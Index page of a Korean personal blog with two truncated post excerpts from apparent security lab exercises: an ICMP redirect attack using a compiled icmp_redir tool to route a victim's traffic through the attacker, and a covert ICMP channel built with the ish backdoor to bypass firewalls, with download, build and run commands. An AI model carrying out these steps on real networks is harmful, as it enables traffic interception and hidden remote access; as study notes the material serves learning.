boangod 님의 블로그

icmp redirect

예) 공격자가 대상 컴퓨터에 naver로 통신하는건 라우터말고 나를 거쳐서 통신해! 라는거 icmp_redir 사용 icmp_redir [게이트웨이] [공격 대상] [외부] [공격자주소] kaliwget 192.168.10.11/data/down/security/icmp_redir.cgcc -o icmp_redir icmp_redir.c./icmp_redir 192.168.11.1 192.168.11.7 203.248.252.2 192.168.11.36 window xpping 203.248.252.2route print203.248.252.2가 떠야한다. 와이어샤크로 패킷분석 00 0c 29 63 9f d0 00 0c 29 c6 9f c0 08 00 45 0000 38 0c 1b 00 00 40..

터널링, 은닉채널

터널링ssh는 암호화가 되어있어서 무슨내용인지 볼수없다.그래서 세션을 통해서만 인터넷 연결이 가능하다.naver패킷을 캡쳐중인데도 터널링을 해서 패킷이 올라오지 않는다.만약 세션을 닫으면 인터넷이 연결되지 않는다. 은닉채널 ishish(백도어)를 이용한 은닉통신 ish는 ishd(데몬)과 ish(클라이언트)프로그램을 이용한 은닉 채널 통신 프로그램이다. • ish는 icmp 메시지만을 이용한다. • 세션이 없음으로 방화벽을 우회할수 있다wget 192.168.10.11/data/down/security/ish-v0.2.tartar xvfz ish-v0.2.tar.gz다운 받아서 압축을 푼다.서버쪽(centos)./ishd클라이언트(kali)./ish 192.168.11.17접속이 되면 클라이언트에서..